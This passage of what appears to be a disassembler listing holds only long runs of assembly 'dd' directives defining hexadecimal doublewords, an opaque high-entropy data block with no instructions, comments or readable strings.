		dd 980E706Eh, 748B069h,	45CFCA24h, 0EA215Dh, 40AEF8Eh
		dd 894B0809h, 5DE98AB4h, 0C045FFFCh, 3AE42D6Fh,	5468D8D8h
		dd 7CE9A15Bh, 6669BDB1h, 6B4D2602h, 4211DEDFh, 9A5D8D0Fh
		dd 2CFAC280h, 99350C9Eh, 9B642BDh, 650685C1h, 0DB933A88h
		dd 0CBB69FB4h, 30AE040Ch, 0BD4FE9F3h, 0EAD3975h, 0DB04BE68h
		dd 40B9D0D1h, 7F01FC77h, 0E670C9C8h, 0D85732E1h, 25BF2F43h
		dd 0FAC22CC1h, 0C8E40D8Ch, 875A0C88h, 0A7C54EA2h, 0EA221E8Ch
		dd 0DFF72AF9h, 1FE87CB3h, 0DAF901FBh, 19C037A6h, 66383725h
		dd 72EEBC29h, 0D7CA08A2h, 74D76D41h, 0AAAD5FEEh, 0E9C33001h
		dd 0BD48B8CEh, 546E130Eh, 2D6CA34Ah, 89B7E751h,	51712AC7h
		dd 14C44888h, 199ECE59h, 0E0445DD9h, 137A1F08h,	6C297017h
		dd 0CD038A8h, 4135D32h,	1604444h, 0ADE95111h, 504ECAFEh
		dd 291770A4h, 0D295E49Fh, 7E18F372h, 12B1F195h,	676CFFEEh
		dd 47393168h, 62166355h, 459B064Ah, 30C7804h, 85FA9D50h
		dd 6C00CB01h, 0AE2386C7h, 52DAE949h, 0C27309Bh,	746B56D1h
		dd 18E96169h, 106A26E0h, 100F0F2h, 0D4EB81C3h, 157D4E17h
		dd 7A087627h, 5EDE3AC7h, 40C8B072h, 5F050503h, 484DEE63h
		dd 0E98575B8h, 0D2D7A08Ah, 0E235E895h, 225F8297h, 1045C4C3h
		dd 0A820E928h, 0EE21ED2Eh, 4B7BE12Ch, 59A0052h,	0D5F950FCh
		dd 0EAF8E098h, 8F27449Eh, 0E58CB386h, 389E9A31h, 0E10FE4B1h
		dd 860C058h, 5080B252h,	0E2E0B47Dh, 0D15C20F8h,	0E980B090h
		dd 2F8295BAh, 0B1FFCBF3h, 8B2F54FBh, 4EE913DFh,	0DDB8B185h
		dd 8266A2D6h, 5F561668h, 0A45D6816h, 59BE0255h,	5839A664h
		dd 0C0F602EBh, 465CE371h, 0EB4A7A78h, 1587B80h,	0A8DDF1FBh
		dd 3395322Ch, 0B26709A5h, 5C41E25Eh, 0E1348566h, 448A5B9Eh
		dd 128124Ah, 0C23BEAD1h, 0A159D642h, 104D6883h,	0F2007966h
		dd 812E2B43h, 0D14F8E1h, 179C0E61h, 11659111h, 225093B8h
		dd 95C78EAh, 1EB8331h, 3E523600h, 0B4B81A19h, 0D04BAD09h
		dd 60C96217h, 3C75C371h, 0E6AF5A30h, 0ADC63268h, 78604A70h
		dd 84C77B0Ch, 0F329122Ch, 0E909025Eh, 6876E38Bh, 5C5BC269h
		dd 3E034921h, 57D25119h, 883ECC4h, 3D66ACFDh, 3A13CFE9h
		dd 97132EF6h, 3D64B315h, 95947C52h, 0B58A5A12h,	0AC3D6816h
		dd 31BBD261h, 69EAC4F0h, 5AD404EEh, 50BF4B9Ah, 6F50085Ch
		dd 0CB630166h, 58C3291Ah, 25917F5Dh, 4F0B763Dh,	5C0EE28Fh
		dd 0E9D346E9h, 0E02CD63Dh, 0F81525E9h, 9ABDA3DBh, 1332657h
		dd 2DE801B2h, 53C70C82h, 5DD4FC2h, 81AC196h, 0E914010Ch
		dd 2424DF84h, 0F6A4BF71h, 68CBEA2Ch, 1022B75Eh,	0F716EB80h
		dd 671000D8h, 41761D2Dh, 0DE188F98h, 0C18AA672h, 971C1F19h
		dd 0D9F74C40h, 0CA38731Eh, 8729AE33h, 0C4657C1Eh, 9588815Fh
		dd 593863Ch, 0D897BE8Ah, 130FB52Bh, 0CC83261Eh,	0BC97201h
		dd 77DD12F0h, 161B9204h, 4EB85B01h, 0C1ED3EB5h,	58441DD3h
		dd 0C16FEC31h, 57500868h, 22F5F27Eh, 514B284Ch,	6EC4D6E2h
		dd 0AF091203h, 0BAE5E087h, 5E96F928h, 0C3C10A4Ah, 0B06492EEh
		dd 8845B229h, 270576F4h, 6E6392FDh, 4D581AF2h, 6410F997h
		dd 25C4BCBFh, 97FA9E5Bh, 2E4A0571h, 0B112670Dh,	5A2DD200h
		dd 91505BA3h, 92B17133h, 5BAEEA8Fh, 0DEFA8A05h,	6817B26Ch
		dd 0A602C4h, 0C1DF5024h, 7BD805E9h, 42EC4FDDh, 0BC85998Eh
		dd 0AD09952Dh, 1210D6D6h, 2691824Fh, 9C58AC09h,	4BC740E3h
		dd 76BFE6C1h, 0C802CBAh, 74F22A68h, 0E4B2CBE9h,	55C2EEB6h
		dd 4F53062Ch, 0F84CD2C9h, 1ABD07CDh, 0A22E8732h, 89DE156Fh
		dd 412719ACh, 908D59EEh, 2FA9433Ah, 0CB53BB88h,	0C09214D0h
		dd 5D95A755h, 74E047C5h, 0D0C000B2h, 536650EAh,	521CDEB3h
		dd 0BDBDDA88h, 2C5B1D5Ah, 7B4FC1EDh, 18ED6971h,	0AAEB5382h
		dd 92FF2673h, 0C080C73h, 0DA7C038Ch, 0EDEE90Fh,	350E139h
		dd 0C780E3B7h, 0A54E5A97h, 55CE7FA8h, 2B16E909h, 5FB147Fh
		dd 0D86CEAEFh, 445EC36Eh, 0CEF11703h, 0DB23D554h, 0AD2D01F0h
		dd 7974932Dh, 1AB02075h, 0A9854E24h, 48E1D513h,	0C08740D4h
		dd 7067EB85h, 0DAA17977h, 0AE302F0Ah, 506C2248h, 96DDAB08h
		dd 4505008Fh, 10A5D49h,	72DC828h, 167F2AA2h, 0EC6815EBh
		dd 0BF007206h, 2C8639C0h, 73DE7C1h, 61326E9h, 21ECF40h
		dd 0AE4A6625h, 0AB1873C4h, 0E0B8BFDFh, 3715C1D3h, 38479464h
		dd 1CE9C402h, 60B954D0h, 15A0260Eh, 50011109h, 579C551Bh
		dd 0E092E92Dh, 0B15AF42Ch, 12463DEAh, 74FFFED2h, 0DBF10220h
		dd 0DDC01163h, 1A1FD8CBh, 0F3016A03h, 7D433866h, 8332C970h
		dd 12F55ACAh, 0DB8EC169h, 17960B68h, 54110DF6h,	0A0ADE765h
		dd 0E84E2980h, 9A999C1Eh, 5AB451F1h, 621DC0E9h,	8626C9DDh
		dd 9E391301h, 2DC95FFDh, 82CDDEBAh, 29D94564h, 89F4E575h
		dd 0BAE05551h, 3D2F2369h, 8139F03Eh, 5FF5107h, 6C77BB94h
		dd 0B10BB03h, 5D590B07h, 67B2804Eh, 2D47B438h, 0F945F031h
		dd 896BE904h, 68C211B9h, 0E56648D3h, 55899D9Eh,	0D177D454h
		dd 0B25C0287h, 854A84C8h, 32F96802h, 0C46476D6h, 8896C6CAh
		dd 164594F7h, 7B80C93Fh, 0D32FB48Fh, 9F6A347Ah,	8A33837Dh
		dd 9BDF100Bh, 0AD4DDF7Dh, 842E288Bh, 0D22CA203h, 7084CDADh
		dd 0C3800205h, 6E1F4407h, 0C88E2F88h, 1762C6C9h, 0BF0102D6h
		dd 78423733h, 7DCC1930h, 29710B7Bh, 2DFA5DEFh, 661AFCECh
		dd 5892B7BBh, 5427C08h,	87219EE2h, 0E896846Ch, 72F24B09h
		dd 0D6A20488h, 0E05B61B5h, 48E3CE6Fh, 95B4509Ch, 92E268E3h
		dd 0D0466091h, 0BFD27E32h, 0E911EC58h, 930B963Eh, 0C6E4F83Ch
		dd 0F119DC7Eh, 0DFCAAF04h, 40B7E913h, 55FABA6Dh, 9DB00E96h
		dd 54278B02h, 57D2F757h, 0A44A62E1h, 0E5005609h, 89408513h
		dd 0C5A4CD3h, 0FABF5702h, 0E7603049h, 28802271h, 0A3041ED8h
		dd 6F18652Ch, 0F398E0D0h, 0F7803F00h, 0F6C7FEE1h, 0F3EFF8D7h
		dd 4F30D6C8h, 2BD8F1F8h
		dd 9E7F69F6h, 665B2593h, 8F0BBCE8h, 79C1DA47h, 0CD0A5FE9h
		dd 7CA3AC0h, 7A62885Ah,	838849Dh, 0ADE41D84h, 6953FAAAh
		dd 0ED5E1A84h, 3A16755Ah, 82DBEAA1h, 3BFC8733h,	772F427Dh
		dd 0C6252BE4h, 0CF2DD915h, 5870BBC9h, 24B2E6B7h, 0C93BF32Eh
		dd 0EC76F04Ch, 0B0ACEB5h, 161D685Ch, 0E9247DCCh, 0ECAF2EF1h
		dd 0BD8E0C0h, 44BA6866h, 31B11249h, 0A6160F6h, 0A4FBA9B7h
		dd 0EA92B7F4h, 901CC0F1h, 5D7B1436h, 896D95Eh, 0B02D0E89h
		dd 8394A723h, 5BBC383h,	0A583B9ECh, 5CEA28EEh, 0DE5248h
		dd 19F76686h, 16ACF581h, 0B64B06Eh, 27A237BEh, 4064D25Ch
		dd 0EA8D5F55h, 8F6F33C6h, 1D51CCF8h, 592F95BFh,	61C2B54Bh
		dd 844E53D2h, 6601A5F3h, 0E936B450h, 65416E25h,	0E0A7AEDh
		dd 42FD8121h, 75638005h, 5B76FA08h, 1788C23Fh, 6BE4EB82h
		dd 9B5316D9h, 14F0B832h, 348F8F66h, 0E0259109h,	0C184FDFDh
		dd 1270EE1Eh, 4B5A5652h, 74E7EC89h, 0D9C7BBB5h,	0C869FDA9h
		dd 9DE3982Ah, 54ECD68Bh, 4EE9D909h, 0C208F487h,	0BA56417Ch
		dd 2BC3B9E0h, 0AC204ABEh, 0E781070Fh, 0B2EC628Dh, 7CB09F7h
		dd 780038D8h, 6391171h,	0FEFB292Eh, 0F5FE10A7h,	0B66EBFF6h
		dd 51E68102h, 72651373h, 30603C7h, 5DE93A07h, 0CE51AF32h
		dd 12FF5494h, 8490BD5Ch, 290390E0h, 17C2206Fh, 0B6528248h
		dd 0F328910Fh, 60C5695Ah, 9E555F67h, 0EEC8A9F1h, 177CC169h
		dd 0A112E91Eh, 7E0D389h, 0F6DD28Eh, 2217B85Ch, 985D3FE6h
		dd 80B7DBC8h, 0BC76EE81h, 10404248h, 4E76B3ADh,	0FEACA1EAh
		dd 2F596149h, 307F4A8Ah, 0EAA51C7Dh, 0F71D0AB5h, 14A4D106h
		dd 0B126BF00h, 391E05A6h, 0E04B5C2Ah, 259F235Ah, 30BAC2C5h
		dd 32201375h, 0CEE93E1Fh, 4A8852AFh, 0BBE100FEh, 6B4F36C1h
		dd 0A095C8F4h, 0B2010727h, 0BA52021Ah, 5237E8Fh, 0C199E077h
		dd 4064AE9h, 0E0E50222h, 0D27A76CEh, 2C17CD5Bh,	52432ECh
		dd 69570B78h, 0E9560980h, 0F1BC8231h, 0D6702849h, 0EEC01A02h
		dd 0FEC46208h, 82844B0h, 20FA288Ah, 5E5E1521h, 221CCA6h
		dd 599DB128h, 2E9E12Eh,	0D17E8BE1h, 0D22443E2h,	0A0B3FFAEh
		dd 91662D2Fh, 9A5434E6h, 0C6E630AAh, 2B170EF5h,	63840160h
		dd 4FA40816h, 29AFA8C7h, 5A59EECBh, 5563289Bh, 0ABBE5600h
		dd 812AD96Bh, 773C02CEh, 10E9757Dh, 0FEBAE048h,	572177C2h
		dd 0D530841Ch, 0B12B83A1h, 62C9F739h, 507F39A8h, 8041D839h
		dd 6850547Ch, 803FB99Eh, 0FE1EB353h, 0EB33C0CBh, 0AB800A07h
		dd 0DCA69FFBh, 1584580Ch, 0C144E909h, 0BD404F5Ch, 7DC50865h
		dd 97522D4Ah, 8BC25693h, 34933656h, 27792ABAh, 9013E30Ch
		dd 24681C77h, 8BEC497Ch, 65C421Ah, 0D03107EDh, 1D79942Ch
		dd 0FAF02805h, 0B85B2248h, 992939B5h, 7A0CC0CEh, 0C7B70697h
		dd 0AFEEF39Fh, 0F45A3238h, 2943DAC4h, 0E24A83A7h, 484ECBC5h
		dd 77FED57h, 4D293B25h,	7A0779D1h, 662EA22Ah, 0CB21AA42h
		dd 2A1C5F09h, 0AF748749h, 84514925h, 12FB3B40h,	0B59E835h
		dd 66876EE9h, 0A2591A8h, 69D9AA51h, 0D8C651C6h,	26CC3014h
		dd 9670DDE9h, 646B04ACh, 28FFA5h, 25A3689Bh, 686F0BFDh
		dd 4530E30Bh, 10CC31EBh, 417D9454h, 0B04701FBh,	0AB3220C5h
		dd 0C1DF92BDh, 0C46FD63Bh, 892CEAA7h, 80A17AE9h, 9C1E2CBFh
		dd 0F8924D94h, 0EA681D81h, 14B41447h, 42DAF702h, 0FD802D40h
		dd 0A62E5D81h, 561677C5h, 3F005492h, 67F40594h,	254F7147h
		dd 0DB58E7C1h, 1B2EF50Bh, 70100FC7h, 7B4DF34Bh,	16E67030h
		dd 764F125h, 0D14028D5h, 0D6080E0h, 30C357DDh, 0A88113D7h
		dd 0E65AD031h, 59D897C2h, 0E205087Bh, 78861E99h, 0ECF5B904h
		dd 85BBF817h, 0C2287F1Ah, 0CA50E2Dh, 0DC446568h, 0C07FFC07h
		dd 23DFC6F4h, 0B6D85F31h, 76206989h, 0FC768C2Fh, 490FC157h
		dd 6B060A5Fh, 9ED552D6h, 0C15B251Bh, 69EF5293h,	111F43F3h
		dd 0F2530ED4h, 581E18Ch, 8A5D3FEBh, 250EF4Bh, 67386208h
		dd 0EED2D226h, 74379A5Eh, 66C30F58h, 0D64DE28h,	572394EEh
		dd 0C490F2E3h, 8DFA828Dh, 683BE5F9h, 3E285ECAh,	0B371FF52h
		dd 65E51EADh, 74A6805h,	3F042BF3h, 0EE6E7E2Dh, 0A0DA0C6h
		dd 41E9CF01h, 0AFBA83A6h, 42FBF77Dh, 8DF8A4DFh,	0A3C17BB9h
		dd 55BA2DF0h, 495B5E9Eh, 0C0FA7E2Bh, 0C057500Bh, 0D40A0116h
		dd 1EDFD0Ah, 83B5FE38h,	62D02D1Ch, 0EDBF6DBDh, 38D12DD3h
		dd 0D5A5E984h, 8F5187B7h, 5912AE2Ch, 0D3D48157h, 0D9A1241Ah
		dd 0E11AA39Fh, 40DFD910h, 0F2AAC8DBh, 0D2A24AEEh, 83F7E633h
		dd 0E3C16CA9h, 75841F05h, 534F4360h, 0E5B193BBh, 0A2803E51h
		dd 3052822Dh, 5D1C7764h, 5F16C757h, 0A3F2D829h,	505F0C5h
		dd 5D84E912h, 295ACA1h,	7F161C74h, 8A0C3D6h, 4A060CC0h
		dd 3168417Bh, 0FFED0E89h, 1F693CD4h, 78552E1Eh,	1EFAD239h
		dd 13FE79AFh, 0BA5CDD4h, 0C490E7BBh, 0EF5C2685h, 2E071071h
		dd 58CFA34Fh, 955D7D56h, 75C95A7Eh, 270FC8E0h, 17E90D3Bh
		dd 15FE8207h, 27DE176h,	3BE2895Bh, 2717F7D0h, 0F0B52012h
		dd 0E7C70804h, 11C2771Dh, 4C8A2ECBh, 881C6394h,	0E90B82C1h
		dd 0BF6CC2ECh, 0DB5FEFF2h, 25A93125h, 0B8E1CC9Fh, 5702E31Fh
		dd 486B90BFh, 0F112DD1Bh, 0D3141E77h, 1611DA0Ch, 0C25D54E9h
		dd 2CEA5F13h, 0DAA8C03Dh, 2158C580h, 0D1BD2527h, 0B02FA2ADh
		dd 0C5A325ECh, 92D22C6h, 42267198h, 0AD0EBB18h,	0B2554F36h
		dd 0CE9A7F06h, 0FDFB50EBh, 25EE9701h, 0DA9DECB2h, 23E92DE5h
		dd 68AD7A81h, 98F33A60h, 101EBA02h, 9B5D3F51h, 5A1A00F5h
		dd 27CAF281h, 0C0956DB7h, 3EDD5147h, 7DFC4A34h,	321B2684h
		dd 0DE03020Ch, 25DE810h, 7ED0298Bh, 9CE188E5h, 97A25B12h
		dd 1CB53EC4h, 0DDF67CC0h, 0CAF3ED80h, 19A7B406h, 0F0E1061Fh
		dd 3CE1E0C7h, 591875A7h, 0DD0CCF28h, 0A1AE55E9h, 9F586120h
		dd 0E909526Dh, 9FB0585Ah, 0FC01DBE4h, 89FB492Ch, 0CC825DEFh
		dd 46AE311Fh, 172410D6h, 0E5E90705h, 0AE07A152h, 0E256EF8h
		dd 9858DEECh, 45A34F0Eh, 8C19D8A4h, 0E79B5E35h,	0B009B0A4h
		dd 0CF022C6h, 88A55918h, 74257B77h, 0E91656ABh,	0C3478C5Ch
		dd 73BD2F7h, 37902D6h, 0E0E9C8B0h, 0B1631668h, 0B88F3ED3h
		dd 0FAA92A49h, 3EEE8AAh, 4F5D15BCh, 2E969CD9h, 0AF82C475h
		dd 0F780019Fh, 0EF25206Ah, 0C2DC0E95h, 5C6B9168h, 661260D2h
		dd 0F8C65938h, 9A0F16F6h, 29015C25h, 9900134Eh,	29442AE6h
		dd 0B701C112h, 60E73068h, 5F02EFAEh, 0E903B252h, 26A75CB5h
		dd 8EE7923h, 9FB95Ch, 0BDAF596Bh, 0C05E61E9h, 0BB1792E3h
		dd 519540D1h, 0E2572EB9h, 0C9811C01h, 7C0C1269h, 571EE48h
		dd 0C14D5C6Eh, 7C8ECE1h, 0D2309038h, 54E621E2h,	0BE1284CDh
		dd 2B82FAA3h, 99E64E5Ah, 0BD5500B4h, 203F44A6h,	0A3C5811Dh
		dd 0E93A4982h, 4EE6D0FDh, 1AE8F821h, 61EDEF05h,	7F65288Ah
		dd 1A7794A6h, 0DC449A03h, 25EA5651h, 0BE627E41h, 49FA7158h
		dd 59E11A5Bh, 742C0FE9h, 9CB3113h, 0FEDC086Fh, 928BA60h
		dd 912ADC7Fh, 87C84ED0h, 24D25A44h, 0DAACB8E8h,	0B570BE43h
		dd 5C166565h, 0D040F289h, 482F1C77h, 73343247h,	0BDC4BE0Dh
		dd 0B040FCE3h, 452B1FF1h, 1713E646h, 18AEA970h,	0B4A279C2h
		dd 0B1D79835h, 3CD03370h, 0DEF13F02h, 7A02ABD8h, 0ED6E2091h
		dd 36028DBCh, 0F809A555h, 51078230h, 4170AF5Bh,	76044598h
		dd 314C726Ch, 11A290BAh
		dd 18608C71h, 0D729523Ch, 5BA2A009h, 0C9990535h, 0AA8938E7h
		dd 2FE9FF2Ch, 0BC5927AFh, 67E26880h, 715952B0h,	8FBCC149h
		dd 6F78C403h, 0A214409h, 0AF1C3F4Ah, 0FE04EED7h, 73E3E39Ch
		dd 3B39CD4Fh, 0C2012F4Eh, 0D5ECC4E9h, 5A5C7414h, 0B3A62DC3h
		dd 0D1F3EAE7h, 0AF57927Bh, 1FADA861h, 7672B800h, 0DE228825h
		dd 9F0449DFh, 10C51013h, 18620CD1h, 0E4F49F35h,	1833658Ch
		dd 288E905Dh, 9D5B1F2Ah, 729F9D96h, 9BBE8E6h, 97E9F754h
		dd 9B900C50h, 61B85000h, 0D4B583Bh, 0AD4F50E4h,	0F96725E9h
		dd 657F8E68h, 0F972A127h, 68578305h, 0F9BF1DA6h, 0F758675Ch
		dd 0E00D1694h, 0CD0E096Ah, 50277BFAh, 99EDB12h,	335B9583h
		dd 0E324A2A6h, 91FDA27h, 72E9555Eh, 3A96DAF8h, 3EF168C1h
		dd 0E933CC7Ah, 18194027h, 8214D975h, 0D9A738D9h, 0FEF1AD6Ch
		dd 9C02F24Ah, 0FE7C9078h, 87608345h, 1C24836Fh,	0E98935B7h
		dd 80A3C05Fh, 7A8A70F4h, 0A89C25E1h, 0AABC72F9h, 609DDA2Fh
		dd 276855C0h, 0E7657087h, 1F16692h, 0E018F13Fh,	4CD677EDh
		dd 3622E99Dh, 3891BC10h, 78B94BBEh, 0AE2CDE12h,	25686E28h
		dd 43C6717Eh, 1821080Bh, 45A98226h, 0E91CD6ACh,	0DA8CB157h
		dd 448C406Fh, 5F2ACC63h, 0D8E7D13Eh, 0DC1A6B0Dh, 8153C573h
		dd 4F1BDF7h, 165DA320h,	0C776C51h, 6B601A94h, 216C2B0Ch
		dd 0A3E91A17h, 5EC632A9h, 20554CF4h, 0E0E7605Dh, 542F5181h
		dd 0BD04FAC5h, 429C4F16h, 0DEE26DE9h, 524B9ECEh, 4F4082ACh
		dd 92FDB34Ah, 98C775B0h, 22314527h, 0BEA524E7h,	0E0D0A469h
		dd 3906C3BDh, 0BAF6B5Ch, 5075E905h, 535D4C2Bh, 2F1B8A06h
		dd 20209C1Dh, 0D988259Bh, 7B917094h, 53157C2h, 7D88AB5Bh
		dd 40175D59h, 0AA055684h, 84786F8Bh, 212D2A84h,	7A0576F1h
		dd 0A4CC8AA9h, 4FC4EE90h, 0ABA58C6h, 22B45713h,	0B090CFh
		dd 26825931h, 6C3EED81h, 45411104h, 8A9414E9h, 79EB9924h
		dd 0B6E67C74h, 248D90D5h, 96B0FE86h, 59DBD121h,	22B80176h
		dd 966B2FF0h, 9E44FECh,	3D39BBA8h, 8BB3B33Bh, 0D2FF7A2Bh
		dd 0D638FFB0h, 173CB20h, 0BA0D8158h, 3E2C7A1Bh,	0F0F979AFh
		dd 405B605Bh, 226D46D3h, 290B0CC2h, 0CFA6E166h,	8001471h
		dd 4F586850h, 0DC7A306Eh, 1E13452Eh, 0E812D9F7h, 2CC86288h
		dd 85415891h, 0A8E57748h, 5DC20D9h, 6FB1F581h, 0ED998191h
		dd 4D90D8A6h, 5DEA2912h, 680150BCh, 89034312h, 58677ED7h
		dd 6802BD44h, 34F57B4Ah, 525B04DFh, 0B03DDE9h, 986E6658h
		dd 0B53B4E5h, 957DC88h,	65ACD4DDh, 0DA718154h, 807A3892h
		dd 46F76853h, 0F0184F70h, 1B8006A0h, 536148B9h,	0D1B88412h
		dd 7A02EDB8h, 0C94FB6DCh, 2D74AC8Dh, 6C490197h,	5324F551h
		dd 0BB42D04Bh, 0AA2E2111h, 1D92A18Ch, 44F9FD52h, 0EC242E14h
		dd 90FCD5A7h, 69D86840h, 0F860FCB4h, 9E508EF1h,	0F08439B2h
		dd 0E711AEE9h, 0A5680AC2h, 0E9851D55h, 4ABF84BAh, 2CE02DBh
		dd 0E8A813D3h, 0B1E9E4C0h, 852FD5B6h, 51C5A7C5h, 8F419AB8h
		dd 335D0801h, 0A8A551B9h, 8C027792h, 0C70E0664h, 5687E0D1h
		dd 79CE5E3Bh, 22C7064h,	749DE913h, 0D2ABDE94h, 1AB85958h
		dd 0E65FFEE9h, 0F3688A30h, 0D7339F4Eh, 541BCD1h, 6EC0A30Bh
		dd 88530EAAh, 0DE6152D3h, 781FE950h, 2AB800B5h,	512E1209h
		dd 243DE8B9h, 1F6C2B95h, 0FD1C8FC1h, 0A9F6F53Dh, 0DDC54FFFh
		dd 80D994AAh, 36730F5Dh, 0EDC13009h, 1DE35E08h,	704084CDh
		dd 7A7FC23Bh, 6652545Eh, 7BE0091h, 0C17DE537h, 54C005E6h
		dd 100E2FC3h, 391EBE45h, 0DD144A05h, 5C0BBEE1h,	0CF4B68F0h
		dd 0A2BC27A9h, 0DA32D9FEh, 1ED85975h, 0CD0A5EC1h, 0D085C53Bh
		dd 0A712A010h, 22AA89E7h, 0D37CEED1h, 2831C781h, 33E6062h
		dd 47D7F732h, 1884181Ch, 20FCBF93h, 0C9DDAA17h,	0C7876FCAh
		dd 73C91124h, 1049CCEDh, 9F0EA2FEh, 5752A073h, 3B0C23BFh
		dd 497F0AC0h, 1860A218h, 6D5A4411h, 0B5225095h,	91809DDAh
		dd 0DA50B483h, 0AF4A97F8h, 0BC5AAEE6h, 57028486h, 0D48EDB6h
		dd 0A27B0816h, 355A2600h, 81F30212h, 9099553Ch,	6F5A12ADh
		dd 0D85BA3CFh, 3481CE1Ch, 12072407h, 0E03A61E8h, 29CABD05h
		dd 48E1ADC6h, 94E909F1h, 0A0F75AD2h, 0B187C2Ch,	0D0316125h
		dd 8EC270FEh, 0BD987F23h, 462FDC07h, 0BB97B35h,	9E6D831h
		dd 8963E92Dh, 0AF4599F8h, 0DADEC82Bh, 0BD807260h, 13CD7784h
		dd 0FE6C317Ch, 302EF248h, 37066698h, 0E425930h,	25ADB665h
		dd 0F4698958h, 2336C808h, 5CE0A7B4h, 4B68E1F7h,	0E9BD30BEh
		dd 0E09A9391h, 0FE5BD803h, 0E17434C8h, 206C0A6Bh, 0ABB2E3CFh
		dd 0DFCC0938h, 4D458BEAh, 54E44900h, 531D67C6h,	0B18123BBh
		dd 0EBA7E941h, 0EBA43128h, 2286DCBh, 0AAB3202Dh, 2D746813h
		dd 0C9C4B2ACh, 9E213504h, 537BEC2Bh, 5460B92Fh,	0D74A9392h
		dd 899F5EB3h, 0BE5F2CABh, 32B2BDB6h, 0F70C1156h, 7C66F99h
		dd 394C1B27h, 0B00DC453h, 0EAB96656h, 5760ED0Ah, 38B80EBEh
		dd 0EFBC9355h, 94834C78h, 132D1A7Ch, 0CFC3388Ah, 0FEF029E1h
		dd 2A9D2660h, 92A3A5D3h, 9740F78Bh, 0CE97539Fh,	81F54E81h
		dd 0F0B4BA4Dh, 5B957A7Ch, 6F300DEh, 0DA312CA1h,	43F282A0h
		dd 56DD1213h, 680987A8h, 62767780h, 8896FC5Ah, 0F32FF644h
		dd 0F07F126Ch, 0CC849A0h, 8159008Fh, 558D6F3h, 3DB4048h
		dd 0FAE1428h, 7EF0C2E9h, 0DA9251B4h, 0EA2E1955h, 297AD3D5h
		dd 0B4616BDDh, 87967E0Ch, 0B23D8297h, 0E4D08A41h, 9899AA05h
		dd 15211964h, 0A4200471h, 0B805B753h, 5C0C403Bh, 0AFE549B5h
		dd 1CF07DADh, 4E058690h, 2125E268h, 0B081C1C3h,	59935AD6h
		dd 9910F243h, 34BF0275h, 60227E1Ch, 123EEFE9h, 0BFDF7817h
		dd 51E40113h, 7E91751h,	0D7E6AC90h, 0A26E8289h,	7C5D241Ch
		dd 1136897h, 0A74E29B6h, 21322798h, 0FEF570F0h,	456B2DD1h
		dd 0C7F80143h, 9CD62B44h, 7C03F97Bh, 0C954A074h, 5485A18h
		dd 5C809905h, 3DB4A121h, 7D4FD22Ch, 0EE7041D7h,	558C50C1h
		dd 227A7B33h, 99D66A4Eh, 87F1952Fh, 5C67C052h, 31A983F4h
		dd 9D493A70h, 295FA5EFh, 1A1EFDF4h, 1238E72Ah, 809B0C2h
		dd 0B68400F5h, 2E01933Bh, 3D24EE87h, 12BC9064h,	27C35989h
		dd 32C9B963h, 28A46A01h, 429172Ch, 4022FD26h, 0B254E908h
		dd 0CE1B87D7h, 0D908D9F7h, 396CFAC7h, 0D286882h, 0D12433CCh
		dd 0A5C0C251h, 0CB2E7E03h, 0B61A0298h, 0CF40856Eh, 0E0EC833Ch
		dd 6F3281F2h, 0E070C820h, 82F32DC1h, 675A0277h,	3B11547Dh
		dd 10BE4A8Eh, 2E3F02D7h, 42E309E8h, 0A011C75h, 0FD890820h
		dd 0BDA4A3E9h, 443A3CF9h, 2871124h, 3B152A52h, 0C08FC3E1h
		dd 0C10A2DA1h, 924508E5h, 267B70Eh, 6A9BE948h, 464EDDC2h
		dd 2200A15Eh, 0CD8083B5h, 76EDE697h, 0CEC52709h, 0D09709D0h
		dd 0ED8390D8h, 25E9F1D0h, 8EF113BBh, 743A7B82h,	6C566105h
		dd 0CFE20ECAh, 85D7331Eh, 35AA8799h, 5BC5B94Ch,	79E94142h
		dd 4715D6DFh, 7549EF51h, 6DBB7BA0h, 724A3F65h, 9204D5EDh
		dd 0FB8DC09Ah, 5316D985h, 0E9094EFDh, 0CA47CAA5h, 0E2AC7E2Dh
		dd 80016ED1h, 697CEEBh,	13C7A868h, 20AEA185h, 4DEEC5DDh
		dd 0C397FA2Dh, 50602BAh, 409C0969h, 5E3C44DDh, 0B3891643h
		dd 0AB0BD34Fh, 0AC6A714Ah, 6551AFD7h, 9D0CE904h, 40855FFFh
		dd 0DC547C0Dh, 9090515h, 77E3AB42h, 0F583A502h,	6D66C307h
		dd 2F67B7C9h, 0EAFDE985h
		dd 849B27BBh, 0A7B59760h, 4DF530h, 43D0C720h, 76907B7Fh
		dd 8809C90h, 945AF1E9h,	0DE05ABCDh, 0BBBB74BAh,	90EE2C64h
		dd 56BF57D5h, 0CF367724h, 0E8A0208h, 0ECE4F201h, 758E9782h
		dd 91E28D1Dh, 55175D59h, 0CE42215Ah, 36A805E4h,	472F7A89h
		dd 8D6DE8C4h, 85E0F5F2h, 0E396811h, 8A9EA1E9h, 63C72F08h
		dd 0EFC0DCBDh, 0B83A5031h, 4F173BFEh, 0BC4025E1h, 2672189Eh
		dd 5674369h, 0C033510Bh, 0A235F3C8h, 5016402Dh,	8011027Bh
		dd 0B225E91Ah, 94E8B1A4h, 0F52BAF6Bh, 1C46BB6Ah, 2B85FF1Eh
		dd 81D6B450h, 3B80655h,	789FB252h, 63D19551h, 172C133Dh
		dd 0E669F821h, 4E7FEE36h, 50E10947h, 0DBEAD882h, 0FA15E30Bh
		dd 790050D0h, 76201768h, 7E21011Eh, 0D460A93Bh,	0FA06277Fh
		dd 2508E93Ch, 4C11292Bh, 9C5394AAh, 0F017510Fh,	6EA3BB80h
		dd 9B1BCF7h, 61FF300h, 352371Dh, 0E5490DBAh, 0C1894A28h
		dd 262D60E2h, 43B7C41h,	0BAD58BB1h, 0C71C58CAh,	1EA90382h
		dd 0CA10DF01h, 0FE079A99h, 40D2F6CAh, 0CDF280C2h, 4F12EAE6h
		dd 30CDD388h, 0D7B1AB02h, 1CC9BBE6h, 0FB4387B2h, 6635159h
		dd 3D66C331h, 0BA68561Ch, 95E3B4A7h, 9677E729h,	69662061h
		dd 190CC81h, 0D76FEE81h, 7BF9B7DDh, 934987CCh, 629D4AB7h
		dd 7487F288h, 5BFE0338h, 395CB353h, 0E3833BD6h,	5EBC011h
		dd 17880C48h, 1FC9CB35h, 0A9D738E0h, 0BB41EFFDh, 845308C9h
		dd 78E7FAE3h, 685D09B5h, 0B2570EC0h, 6DE58057h,	0B81F442Ah
		dd 6ACD3871h, 0C4E9100Eh, 7EEFB4D6h, 4D54200Fh,	0EEDF8540h
		dd 0F128FFF7h, 2C11D93h, 0E912A268h, 0DE34EF24h, 5952CCAAh
		dd 29906818h, 827DF429h, 596EB5Eh, 0A9098DA8h, 80F4CE8Ah
